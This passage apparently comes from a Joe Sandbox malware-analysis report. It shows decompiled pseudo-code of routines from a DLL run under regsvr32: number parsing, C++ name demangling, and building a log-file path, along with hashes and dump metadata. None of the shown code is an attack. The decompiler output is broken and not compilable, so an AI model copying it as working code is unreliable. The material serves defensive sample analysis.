				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				char _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				long long _v176;
				long long _v184;
				void* __rsi;
				void* __rbp;
				signed int _t144;
				void* _t162;
				signed short _t206;
				signed short _t207;
				signed int _t208;
				signed int _t240;
				intOrPtr _t254;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t263;
				signed short* _t380;
				signed short* _t381;
				signed short* _t383;
				signed short** _t384;
				long long _t385;
				long long* _t388;
				signed short* _t389;
				signed short* _t390;
				signed short** _t394;
				long long* _t395;
				long long* _t396;
				signed short** _t397;
				void* _t398;
				void* _t399;
				signed short* _t404;
				signed short* _t405;
				void* _t407;
				long long _t408;
				signed short* _t409;
				intOrPtr _t410;

				_t407 = __r11;
				_t394 = __rdx;
				_t385 = __rbx;
				_a24 = __rbx;
				_a8 = __rcx;
				_t408 =  *__rdx;
				r10d = 0;
				_v64 = _t408;
				r15d = r8d;
				_t397 = __rdx;
				if (_t408 != 0) goto 0x800360e3;
				E0000000118005B354(_t408, __rax);
				 *__rax = 0x16;
				E0000000118002594C();
				goto 0x80036115;
				if (r15d == 0) goto 0x8003612d;
				if (__r8 - 2 - 0x22 <= 0) goto 0x8003612d;
				_v176 = __rcx;
				r9d = 0;
				 *((char*)(__rcx + 0x30)) = 1;
				r8d = 0;
				 *(__rcx + 0x2c) = 0x16;
				_v184 = __r10;
				E00000001180025880(__rax, __rbx, __rcx, __rdx, _t398, _t399, __r8);
				_t388 = _t397[1];
				if (_t388 == 0) goto 0x8003675d;
				 *_t388 =  *_t397;
				goto 0x8003675d;
				_t10 = _t408 + 2; // 0x2
				_t389 = _t10;
				_t144 = r9b & 0xffffffff;
				r14d = r10d;
				 *_t394 = _t389;
				_t262 =  !=  ? _t144 : _t144 | 0x00000002;
				if ((0x0000fffd & _t385 - 0x0000002b) != 0) goto 0x80036164;
				_t206 =  *_t389 & 0x0000ffff;
				_t14 =  &(_t389[1]); // 0x4
				_t380 = _t14;
				 *_t397 = _t380;
				_a16 = 0x9f0;
				_v168 = 0xa66;
				_v164 = 0xa70;
				_v160 = 0xae6;
				r8d = 0x660;
				_v156 = 0xaf0;
				_t20 = _t380 - 0x80; // 0x5e0
				r11d = _t20;
				_v152 = 0xb66;
				r9d = 0x6f0;
				_v148 = 0xb70;
				_v144 = 0xc66;
				_v140 = 0xc70;
				_v136 = 0xce6;
				_v132 = 0xcf0;
				_v128 = 0xd66;
				_v124 = 0xd70;
				_v120 = 0xe50;
				_v116 = 0xe5a;
				_v112 = 0xed0;
				_v108 = 0xeda;
				_v104 = 0xf20;
				_v100 = 0xf2a;
				_v96 = 0x1040;
				_v92 = 0x104a;
				_v88 = 0x17e0;
				_v84 = 0x17ea;
				_v80 = 0x1810;
				_v76 = 0xff1a;
				_v72 = 0x19;
				if ((r15d & 0xffffffef) != 0) goto 0x800364cf;
				if (_t206 - 0x30 < 0) goto 0x8003643b;
				if (_t206 - 0x3a >= 0) goto 0x8003628b;
				goto 0x80036436;
				if (_t206 - 0xff10 >= 0) goto 0x80036427;
				if (_t206 - r8w < 0) goto 0x8003643b;
				if (_t206 - 0x66a >= 0) goto 0x800362b3;
				goto 0x80036436;
				if (_t206 - r9w < 0) goto 0x8003643b;
				if (_t206 - 0x6fa >= 0) goto 0x800362d2;
				goto 0x80036436;
				if (_t206 - r11w < 0) goto 0x8003643b;
				if (_t206 - 0x970 >= 0) goto 0x800362f1;
				goto 0x80036436;
				if (_t206 - (_t206 & 0x0000ffff) - r11d < 0) goto 0x8003643b;
				if (_t206 - _a16 >= 0) goto 0x80036311;
				goto 0x80036436;
				if (_t206 - _v168 < 0) goto 0x8003643b;
				if (_t206 - _v164 < 0) goto 0x80036281;
				_t47 =  &_v160; // 0xae6
				if (_t206 -  *_t47 < 0) goto 0x8003643b;
				if (_t206 - _v156 < 0) goto 0x80036281;
				if (_t206 - _v152 < 0) goto 0x8003643b;
				if (_t206 - _v148 < 0) goto 0x80036281;
				if (_t206 - _v144 < 0) goto 0x8003643b;
				if (_t206 - _v140 < 0) goto 0x80036281;
				if (_t206 - _v136 < 0) goto 0x8003643b;
				if (_t206 - _v132 < 0) goto 0x80036281;
				if (_t206 - _v128 < 0) goto 0x8003643b;
				if (_t206 - _v124 < 0) goto 0x80036281;
				if (_t206 - _v120 < 0) goto 0x8003643b;
				if (_t206 - _v116 < 0) goto 0x80036281;
				if (_t206 - _v112 < 0) goto 0x8003643b;
				if (_t206 - _v108 < 0) goto 0x80036281;
				if (_t206 - _v104 < 0) goto 0x8003643b;
				if (_t206 - _v100 < 0) goto 0x80036281;
				if (_t206 - _v96 < 0) goto 0x8003643b;
				if (_t206 - _v92 < 0) goto 0x80036281;
				if (_t206 - _v88 < 0) goto 0x8003643b;
				if (_t206 - _v84 < 0) goto 0x80036281;
				if ((_t206 & 0x0000ffff) - _v80 - 9 > 0) goto 0x8003643b;
				goto 0x80036281;
				if (_t206 - _v76 >= 0) goto 0x8003643b;
				if ((_t206 & 0x0000ffff) - 0xff10 != 0xffffffff) goto 0x8003645d;
				_t254 = _v72;
				_t70 = _t389 - 0x41; // 0x6af
				_t71 = _t389 - 0x61; // 0x68f
				_t162 = _t71;
				if (_t70 - _t254 <= 0) goto 0x80036453;
				if (_t162 - _t254 > 0) goto 0x800364c0;
				if (_t162 - _t254 > 0) goto 0x8003645a;
				_t72 = _t389 - 0x37; // 0x5d9
				if (_t72 != 0) goto 0x800364c0;
				_t390 =  *_t397;
				r9d = 0xffdf;
				_t255 =  *_t390 & 0x0000ffff;
				_t73 =  &(_t390[1]); // 0xffe1
				_t404 = _t73;
				 *_t397 = _t404;
				_t74 = _t394 - 0x58; // -63
				if ((r9w & _t74) == 0) goto 0x800364ae;
				 *_t397 = _t390;
				_t166 =  !=  ? r15d : 8;
				r15d =  !=  ? r15d : 8;
				if (_t255 == 0) goto 0x800364cf;
				if ( *_t390 == _t255) goto 0x800364cf;
				E0000000118005B354( *_t390 - _t255, _t380);
				 *_t380 = 0x16;
				E0000000118002594C();
				r10d = 0;
				goto 0x800364cf;
				_t207 =  *_t404 & 0x0000ffff;
				_t77 =  &(_t404[1]); // 0xffe3
				_t381 = _t77;
				 *_t397 = _t381;
				goto 0x800364c5;
				_t171 =  !=  ? r15d : 0xa;
				r15d = 0xa;
				_t172 = ( !=  ? r15d : 0xa) | 0xffffffff;
				_t79 = (( !=  ? r15d : 0xa) | 0xffffffff) % r15d;
				_t257 = (( !=  ? r15d : 0xa) | 0xffffffff) % r15d;
				r11d = 0x61;
				r9d = 0xa / r15d;
				r12d = 0xff10;
				_t82 = _t407 - 0x31; // 0x5af
				r13d = _t82;
				if (_t207 - r13w < 0) goto 0x8003669e;
				if (_t207 - 0x3a >= 0) goto 0x8003650a;
				goto 0x80036699;
				if (_t207 - r12w >= 0) goto 0x80036689;
				if (_t207 - 0x660 < 0) goto 0x8003669e;
				if (_t207 - 0x66a >= 0) goto 0x80036531;
				goto 0x80036699;
				if (_t207 - 0x6f0 < 0) goto 0x8003669e;
				_t83 =  &(_t381[5]); // 0x6fa
				if (_t207 - _t83 >= 0) goto 0x80036551;
				goto 0x80036699;
				if (_t207 - 0x966 < 0) goto 0x8003669e;
				_t84 =  &(_t381[5]); // 0x970
				if (_t207 - _t84 < 0) goto 0x80036547;
				_t85 =  &(_t390[0x3b]); // 0x9e6
				if (_t207 - _t85 < 0) goto 0x8003669e;
				if (_t207 - _a16 < 0) goto 0x80036547;
				if (_t207 - _v168 < 0) goto 0x8003669e;
				if (_t207 - _v164 < 0) goto 0x80036547;
				if (_t207 - _v160 < 0) goto 0x8003669e;
				if (_t207 - _v156 < 0) goto 0x80036547;
				if (_t207 - _v152 < 0) goto 0x8003669e;
				if (_t207 - _v148 < 0) goto 0x80036547;
				if (_t207 - _v144 < 0) goto 0x8003669e;
				if (_t207 - _v140 < 0) goto 0x80036547;
				if (_t207 - _v136 < 0) goto 0x8003669e;
				if (_t207 - _v132 < 0) goto 0x80036547;
				if (_t207 - _v128 < 0) goto 0x8003669e;
				if (_t207 - _v124 < 0) goto 0x80036547;
				if (_t207 - _v120 < 0) goto 0x8003669e;
				if (_t207 - _v116 < 0) goto 0x80036547;
				if (_t207 - _v112 < 0) goto 0x8003669e;
				if (_t207 - _v108 < 0) goto 0x80036547;
				if (_t207 - _v104 < 0) goto 0x8003669e;
				if (_t207 - _v100 < 0) goto 0x80036547;
				if (_t207 - _v96 < 0) goto 0x8003669e;
				if (_t207 - _v92 < 0) goto 0x80036547;
				if (_t207 - _v88 < 0) goto 0x8003669e;
				if (_t207 - _v84 < 0) goto 0x80036547;
				if ((_t207 & 0x0000ffff) - _v80 - 9 > 0) goto 0x8003669e;
				goto 0x80036699;
				if (_t207 - _v76 >= 0) goto 0x8003669e;
				if ((_t207 & 0x0000ffff) - r12d != 0xffffffff) goto 0x800366d2;
				_t240 = _t207 & 0x0000ffff;
				if (_t240 - 0x41 < 0) goto 0x800366ab;
				if (_t240 - 0x5a <= 0) goto 0x800366b6;
				if (_t240 - r11d < 0) goto 0x800366cf;
				if (_t207 - 0x7a > 0) goto 0x800366cf;
				if ((_t207 & 0x0000ffff) - r11w - _v72 > 0) goto 0x800366ca;
				goto 0x800366d2;
				_t405 =  *_t397;
				if ((_t240 + 0x1ffffffa9 | 0xffffffff) - r15d >= 0) goto 0x80036712;
				_t208 =  *_t405 & 0x0000ffff;
				_t259 = _t381 + _t390;
				r14d = _t259;
				 *_t397 =  &(_t405[1]);
				_t263 = ( !=  ? _t144 : _t144 | 0x00000002) | (r10d & 0xffffff00 | _t259 - r14d * r15d > 0x00000000 | r10d & 0xffffff00 | r14d - r9d > 0x00000000) << 0x00000002 | 0x00000008;
				goto 0x800364ef;
				_t409 = _v64;
				_t383 = _t405 - 2;
				_t410 = _a8;
				 *_t397 = _t383;
				if (_t208 == 0) goto 0x80036748;
				if ( *_t383 == _t208) goto 0x80036748;
				E0000000118005B354( *_t383 - _t208, _t383);
				 *_t383 = 0x16;
				E0000000118002594C();
				if ((sil & 0x00000008) != 0) goto 0x80036764;
				_t384 = _t397[1];
				 *_t397 = _t409;
				if (_t384 == 0) goto 0x8003675d;
				 *_t384 = _t409;
				goto 0x800367f6;
				r8d = 0x80000000;
				r9d = _t405 - 1;
				if ((sil & 0x00000004) == 0) goto 0x8003677d;
				goto 0x8003679b;
				if ((sil & 0x00000001) == 0) goto 0x800367dc;
				if ((bpl & sil) == 0) goto 0x8003678f;
				if (r14d - r8d <= 0) goto 0x800367e1;
				goto 0x80036794;
				if (r14d - r9d <= 0) goto 0x800367e4;
				 *((char*)(_t410 + 0x30)) = 1;
				 *((intOrPtr*)(_t410 + 0x2c)) = 0x22;
				if ((_t263 & 0x00000001) != 0) goto 0x800367b4;
				r14d = r14d | 0xffffffff;
				goto 0x800367e4;
				_t395 = _t397[1];
				if ((0x00000002 & _t263) == 0) goto 0x800367cc;
				if (_t395 == 0) goto 0x800367c7;
				 *_t395 =  *_t397;
				goto 0x800367f6;
				if (_t395 == 0) goto 0x800367d7;
				 *_t395 =  *_t397;
				goto 0x800367f6;
				if ((bpl & sil) == 0) goto 0x800367e4;
				r14d =  ~r14d;
				_t396 = _t397[1];
				if (_t396 == 0) goto 0x800367f3;
				 *_t396 =  *_t397;
				return r14d;
			}
































































                                                                                                        0x18003609c
                                                                                                        0x18003609c
                                                                                                        0x18003609c
                                                                                                        0x18003609c
                                                                                                        0x1800360a1
                                                                                                        0x1800360b8
                                                                                                        0x1800360bb
                                                                                                        0x1800360be
                                                                                                        0x1800360c6
                                                                                                        0x1800360c9
                                                                                                        0x1800360cf
                                                                                                        0x1800360d1
                                                                                                        0x1800360d6
                                                                                                        0x1800360dc
                                                                                                        0x1800360e1
                                                                                                        0x1800360e6
                                                                                                        0x1800360ef
                                                                                                        0x1800360f1
                                                                                                        0x1800360f6
                                                                                                        0x1800360f9
                                                                                                        0x1800360fd
                                                                                                        0x180036100
                                                                                                        0x18003610b
                                                                                                        0x180036110
                                                                                                        0x180036115
                                                                                                        0x18003611c
                                                                                                        0x180036125
                                                                                                        0x180036128
                                                                                                        0x180036132
                                                                                                        0x180036132
                                                                                                        0x180036137
                                                                                                        0x18003613b
                                                                                                        0x180036140
                                                                                                        0x18003614f
                                                                                                        0x180036158
                                                                                                        0x18003615a
                                                                                                        0x18003615d
                                                                                                        0x18003615d
                                                                                                        0x180036161
                                                                                                        0x180036164
                                                                                                        0x180036174
                                                                                                        0x180036181
                                                                                                        0x18003618e
                                                                                                        0x180036196
                                                                                                        0x18003619c
                                                                                                        0x1800361a4
                                                                                                        0x1800361a4
                                                                                                        0x1800361a8
                                                                                                        0x1800361b0
                                                                                                        0x1800361b6
                                                                                                        0x1800361be
                                                                                                        0x1800361c6
                                                                                                        0x1800361ce
                                                                                                        0x1800361d6
                                                                                                        0x1800361de
                                                                                                        0x1800361e6
                                                                                                        0x1800361ee
                                                                                                        0x1800361f6
                                                                                                        0x1800361fe
                                                                                                        0x180036206
                                                                                                        0x18003620e
                                                                                                        0x180036216
                                                                                                        0x18003621e
                                                                                                        0x180036226
                                                                                                        0x18003622e
                                                                                                        0x180036239
                                                                                                        0x180036244
                                                                                                        0x18003624f
                                                                                                        0x18003625a
                                                                                                        0x18003626c
                                                                                                        0x180036275
                                                                                                        0x18003627f
                                                                                                        0x180036286
                                                                                                        0x18003628e
                                                                                                        0x180036298
                                                                                                        0x1800362a6
                                                                                                        0x1800362ae
                                                                                                        0x1800362b7
                                                                                                        0x1800362c5
                                                                                                        0x1800362cd
                                                                                                        0x1800362d6
                                                                                                        0x1800362e4
                                                                                                        0x1800362ec
                                                                                                        0x1800362f4
                                                                                                        0x180036302
                                                                                                        0x18003630c
                                                                                                        0x180036318
                                                                                                        0x180036323
                                                                                                        0x180036329
                                                                                                        0x180036330
                                                                                                        0x18003633b
                                                                                                        0x180036348
                                                                                                        0x180036353
                                                                                                        0x180036360
                                                                                                        0x18003636b
                                                                                                        0x180036378
                                                                                                        0x180036383
                                                                                                        0x180036390
                                                                                                        0x18003639b
                                                                                                        0x1800363a8
                                                                                                        0x1800363b3
                                                                                                        0x1800363c0
                                                                                                        0x1800363c7
                                                                                                        0x1800363d4
                                                                                                        0x1800363db
                                                                                                        0x1800363e8
                                                                                                        0x1800363ef
                                                                                                        0x1800363ff
                                                                                                        0x180036409
                                                                                                        0x180036420
                                                                                                        0x180036422
                                                                                                        0x18003642f
                                                                                                        0x180036439
                                                                                                        0x18003643b
                                                                                                        0x180036445
                                                                                                        0x18003644a
                                                                                                        0x18003644a
                                                                                                        0x18003644d
                                                                                                        0x180036451
                                                                                                        0x180036455
                                                                                                        0x18003645a
                                                                                                        0x18003645f
                                                                                                        0x180036461
                                                                                                        0x180036464
                                                                                                        0x18003646a
                                                                                                        0x18003646d
                                                                                                        0x18003646d
                                                                                                        0x180036471
                                                                                                        0x180036474
                                                                                                        0x18003647b
                                                                                                        0x180036480
                                                                                                        0x180036488
                                                                                                        0x18003648c
                                                                                                        0x180036492
                                                                                                        0x180036497
                                                                                                        0x180036499
                                                                                                        0x18003649e
                                                                                                        0x1800364a4
                                                                                                        0x1800364a9
                                                                                                        0x1800364ac
                                                                                                        0x1800364ae
                                                                                                        0x1800364b2
                                                                                                        0x1800364b2
                                                                                                        0x1800364b6
                                                                                                        0x1800364be
                                                                                                        0x1800364c8
                                                                                                        0x1800364cc
                                                                                                        0x1800364d1
                                                                                                        0x1800364d4
                                                                                                        0x1800364d4
                                                                                                        0x1800364d7
                                                                                                        0x1800364e2
                                                                                                        0x1800364e5
                                                                                                        0x1800364eb
                                                                                                        0x1800364eb
                                                                                                        0x1800364f3
                                                                                                        0x1800364fd
                                                                                                        0x180036505
                                                                                                        0x18003650e
                                                                                                        0x180036517
                                                                                                        0x180036525
                                                                                                        0x18003652c
                                                                                                        0x180036539
                                                                                                        0x18003653f
                                                                                                        0x180036545
                                                                                                        0x18003654c
                                                                                                        0x180036559
                                                                                                        0x18003655f
                                                                                                        0x180036565
                                                                                                        0x180036567
                                                                                                        0x18003656d
                                                                                                        0x18003657b
                                                                                                        0x180036584
                                                                                                        0x18003658f
                                                                                                        0x180036598
                                                                                                        0x1800365a3
                                                                                                        0x1800365ac
                                                                                                        0x1800365b7
                                                                                                        0x1800365c0
                                                                                                        0x1800365cb
                                                                                                        0x1800365d8
                                                                                                        0x1800365e3
                                                                                                        0x1800365f0
                                                                                                        0x1800365fb
                                                                                                        0x180036608
                                                                                                        0x180036613
                                                                                                        0x180036620
                                                                                                        0x180036627
                                                                                                        0x180036634
                                                                                                        0x18003663b
                                                                                                        0x180036648
                                                                                                        0x18003664f
                                                                                                        0x18003665f
                                                                                                        0x180036669
                                                                                                        0x180036680
                                                                                                        0x180036687
                                                                                                        0x180036691
                                                                                                        0x18003669c
                                                                                                        0x18003669e
                                                                                                        0x1800366a4
                                                                                                        0x1800366a9
                                                                                                        0x1800366ae
                                                                                                        0x1800366b4
                                                                                                        0x1800366c5
                                                                                                        0x1800366cd
                                                                                                        0x1800366d2
                                                                                                        0x1800366d8
                                                                                                        0x1800366da
                                                                                                        0x1800366e5
                                                                                                        0x1800366f6
                                                                                                        0x180036708
                                                                                                        0x18003670b
                                                                                                        0x18003670d
                                                                                                        0x180036712
                                                                                                        0x18003671a
                                                                                                        0x18003671e
                                                                                                        0x18003672b
                                                                                                        0x180036731
                                                                                                        0x180036736
                                                                                                        0x180036738
                                                                                                        0x18003673d
                                                                                                        0x180036743
                                                                                                        0x18003674c
                                                                                                        0x18003674e
                                                                                                        0x180036752
                                                                                                        0x180036758
                                                                                                        0x18003675a
                                                                                                        0x18003675f
                                                                                                        0x180036764
                                                                                                        0x18003676a
                                                                                                        0x180036772
                                                                                                        0x18003677b
                                                                                                        0x180036781
                                                                                                        0x180036786
                                                                                                        0x18003678b
                                                                                                        0x18003678d
                                                                                                        0x180036792
                                                                                                        0x18003679d
                                                                                                        0x1800367a2
                                                                                                        0x1800367ac
                                                                                                        0x1800367ae
                                                                                                        0x1800367b2
                                                                                                        0x1800367b4
                                                                                                        0x1800367ba
                                                                                                        0x1800367bf
                                                                                                        0x1800367c4
                                                                                                        0x1800367ca
                                                                                                        0x1800367cf
                                                                                                        0x1800367d4
                                                                                                        0x1800367da
                                                                                                        0x1800367df
                                                                                                        0x1800367e1
                                                                                                        0x1800367e4
                                                                                                        0x1800367eb
                                                                                                        0x1800367f0
                                                                                                        0x180036810

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: _invalid_parameter_noinfo
                                                                                                        • String ID: f$f$p$p$f
                                                                                                        • API String ID: 3215553584-1325933183
                                                                                                        • Opcode ID: 63cbc2d45d5dbe9342da6b58b281dd8782448426661e064430f3e95341bb7780
                                                                                                        • Instruction ID: 60ce34a5950591aa8a105852575e6c713ff87cac386b7e4551a2fa2abc098d7d
                                                                                                        • Opcode Fuzzy Hash: 63cbc2d45d5dbe9342da6b58b281dd8782448426661e064430f3e95341bb7780
                                                                                                        • Instruction Fuzzy Hash: E2129F72E0418986FBA39A15D0587EBF7A1F3587D4FD6C015FA8147AE8DF38C6988B10
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018002190C Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 111COMMONLIBRARYCODE
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 65%
                                                                                                        			E0000000118002190C(void* __edx, void* __edi, long long __rbx, long long* __rcx, intOrPtr* __rdx, long long __rdi, void* __rsi, void* __r8, void* __r14, void* __r15, long long _a8, long long _a16) {
				char _v24;
				intOrPtr _v32;
				char _v40;
				intOrPtr _v48;
				void* _v56;
				intOrPtr _t49;
				char* _t66;
				char* _t69;
				char* _t70;
				char* _t73;
				long long* _t82;
				intOrPtr* _t94;
				intOrPtr* _t100;

				_t102 = __rsi;
				_a8 = __rbx;
				_a16 = __rdi;
				_t66 =  *0x800d9928; // 0x0
				_t82 = __rcx;
				_t100 = __rdx;
				if ( *_t66 == 0) goto 0x80021aa8;
				if (r8d == 0) goto 0x800219c6;
				if ( *_t66 != 0x58) goto 0x800219aa;
				 *0x800d9928 = _t66 + 1;
				_t94 =  &_v40;
				if ( *__rdx != __rcx) goto 0x8002197e;
				_v48 = 4;
				_v56 = "void";
				asm("movaps xmm0, [ebp-0x30]");
				asm("movdqa [ebp-0x20], xmm0");
				E0000000118001C2DC("void", __rcx, _t94);
				goto 0x80021ac5;
				_t69 = "void ";
				_v48 = 5;
				_v56 = _t69;
				asm("movaps xmm0, [ebp-0x30]");
				asm("movdqa [ebp-0x20], xmm0");
				E0000000118001C2DC(_t69,  &_v24, _t94);
				goto 0x80021aba;
				if ( *_t69 != 0x5f) goto 0x800219c6;
				if ( *((char*)(_t69 + 1)) != 0x5f) goto 0x800219c6;
				if ( *((char*)(_t69 + 2)) != 0x5a) goto 0x800219c6;
				_t70 = _t69 + 3;
				 *0x800d9928 = _t70;
				if ( *_t70 != 0x24) goto 0x80021a11;
				if ( *((char*)(_t70 + 1)) != 0x24) goto 0x80021a2d;
				if ( *((char*)(_t70 + 2)) != 0x54) goto 0x80021a2d;
				 *0x800d9928 = _t70 + 3;
				if ( *_t94 != _t69) goto 0x800219fe;
				_v48 = 0xe;
				goto 0x80021964;
				_t73 = "std::nullptr_t ";
				_v48 = 0xf;
				goto 0x8002198c;
				if ( *_t73 != 0x59) goto 0x80021a2d;
				 *0x800d9928 = _t73 + 1;
				E0000000118001E1C0(0, __edx, __edi, __rcx, __rcx,  &_v40, __rdx, __rsi);
				goto 0x80021ac5;
				E0000000118001E500(__edi, _t82,  &_v56,  &_v40, _t100, _t102, __r14, __r15);
				if (( *(_t100 + 8) & 0x00004000) == 0) goto 0x80021a80;
				_t75 = "cli::array<";
				_v32 = 0xb;
				_v40 = "cli::array<";
				asm("movaps xmm0, [ebp-0x20]");
				asm("movdqa [ebp-0x20], xmm0");
				E0000000118001C2DC("cli::array<",  &_v24,  &_v40);
				E0000000118001C858(_t75,  &_v40,  &_v56);
				goto 0x80021aa0;
				if (( *(_t100 + 8) & 0x00002000) == 0) goto 0x80021a99;
				_v32 = 0xd;
				goto 0x80021a4d;
				_t49 = _v48;
				 *_t82 = _v56;
				 *((intOrPtr*)(_t82 + 8)) = _t49;
				goto 0x80021ac5;
				_v32 = _t49;
				_v40 = 0x800c36a0;
				return E0000000118001C858( &_v40, _t82, _t100);
			}
















                                                                                                        0x18002190c
                                                                                                        0x18002190c
                                                                                                        0x180021911
                                                                                                        0x18002191e
                                                                                                        0x180021925
                                                                                                        0x18002192a
                                                                                                        0x18002192f
                                                                                                        0x180021938
                                                                                                        0x180021941
                                                                                                        0x180021946
                                                                                                        0x180021950
                                                                                                        0x180021954
                                                                                                        0x18002195d
                                                                                                        0x180021964
                                                                                                        0x18002196b
                                                                                                        0x18002196f
                                                                                                        0x180021974
                                                                                                        0x180021979
                                                                                                        0x18002197e
                                                                                                        0x180021985
                                                                                                        0x18002198c
                                                                                                        0x180021994
                                                                                                        0x180021998
                                                                                                        0x18002199d
                                                                                                        0x1800219a5
                                                                                                        0x1800219ad
                                                                                                        0x1800219b3
                                                                                                        0x1800219b9
                                                                                                        0x1800219bb
                                                                                                        0x1800219bf
                                                                                                        0x1800219c9
                                                                                                        0x1800219cf
                                                                                                        0x1800219d5
                                                                                                        0x1800219db
                                                                                                        0x1800219e9
                                                                                                        0x1800219f2
                                                                                                        0x1800219f9
                                                                                                        0x1800219fe
                                                                                                        0x180021a05
                                                                                                        0x180021a0c
                                                                                                        0x180021a14
                                                                                                        0x180021a1c
                                                                                                        0x180021a23
                                                                                                        0x180021a28
                                                                                                        0x180021a31
                                                                                                        0x180021a3d
                                                                                                        0x180021a3f
                                                                                                        0x180021a46
                                                                                                        0x180021a4d
                                                                                                        0x180021a55
                                                                                                        0x180021a5d
                                                                                                        0x180021a62
                                                                                                        0x180021a72
                                                                                                        0x180021a7e
                                                                                                        0x180021a87
                                                                                                        0x180021a90
                                                                                                        0x180021a97
                                                                                                        0x180021a99
                                                                                                        0x180021aa0
                                                                                                        0x180021aa3
                                                                                                        0x180021aa6
                                                                                                        0x180021aaf
                                                                                                        0x180021ab2
                                                                                                        0x180021ad7

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Name::operator+
                                                                                                        • String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
                                                                                                        • API String ID: 2943138195-2239912363
                                                                                                        • Opcode ID: 26dbbc1d06a9e0aa0951e27a46578ef20ad2060eb8b5e214b66673e5f8b06130
                                                                                                        • Instruction ID: 33ada4d4b5cd7808cda2b0850d160ea24ac44b5a7cc8ad0c5917e97f7be372ec
                                                                                                        • Opcode Fuzzy Hash: 26dbbc1d06a9e0aa0951e27a46578ef20ad2060eb8b5e214b66673e5f8b06130
                                                                                                        • Instruction Fuzzy Hash: 77515972A15B589DFB938BA0D8413EC77B0B72C789F44C116EE4912B99DF388288C751
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018000FA30 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 57COMMON
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 39%
                                                                                                        			E0000000118000FA30(void* __ecx, void* __eflags, short* __rax, long long __rbx, void* __rcx, long long __rsi, long long __rbp, long long _a8, long long _a16, long long _a24) {
				void* _t19;
				short* _t28;
				short* _t32;
				void* _t48;
				long long _t51;

				_t51 = __rbp;
				_t49 = __rsi;
				_t28 = __rax;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t48 = __rcx;
				E0000000118000F938();
				 *((long long*)(__rcx + 0x618)) = _t28;
				r8d = 0x104;
				GetModuleFileNameW(??, ??, ??);
				r8d = 0x104;
				GetShortPathNameW(??, ??, ??);
				r8d = 0x104;
				__imp__GetLongPathNameW();
				_t6 = _t48 + 0x410; // 0x410
				_t32 = _t6;
				_t60 = __rcx;
				E00000001180003248(0, _t28, _t32, __rcx, L"%s", __rcx);
				E0000000118000F9C4(_t28, _t32, _t32, __rsi, __rbp, L".exe");
				if (_t28 != 0) goto 0x8000fade;
				E0000000118000F9C4(_t28, _t32, _t32, _t49, _t51, L".scr");
				if (_t28 == 0) goto 0x8000fafd;
				 *_t28 = 0;
				E00000001180054454(_t28, _t32, _t51, L".log");
				_t19 = E000000011800559B0(_t28, _t32, _t32, _t51, _t49, L".log", _t60);
				goto 0x8000fb00;
				 *_t32 = 0;
				return _t19;
			}








                                                                                                        0x18000fa30
                                                                                                        0x18000fa30
                                                                                                        0x18000fa30
                                                                                                        0x18000fa30
                                                                                                        0x18000fa35
                                                                                                        0x18000fa3a
                                                                                                        0x18000fa44
                                                                                                        0x18000fa47
                                                                                                        0x18000fa51
                                                                                                        0x18000fa58
                                                                                                        0x18000fa60
                                                                                                        0x18000fa6d
                                                                                                        0x18000fa76
                                                                                                        0x18000fa7c
                                                                                                        0x18000fa85
                                                                                                        0x18000fa8b
                                                                                                        0x18000fa8b
                                                                                                        0x18000fa92
                                                                                                        0x18000faa1
                                                                                                        0x18000fab7
                                                                                                        0x18000fac1
                                                                                                        0x18000fad4
                                                                                                        0x18000fadc
                                                                                                        0x18000fae5
                                                                                                        0x18000faee
                                                                                                        0x18000faf6
                                                                                                        0x18000fafb
                                                                                                        0x18000fafd
                                                                                                        0x18000fb17

                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
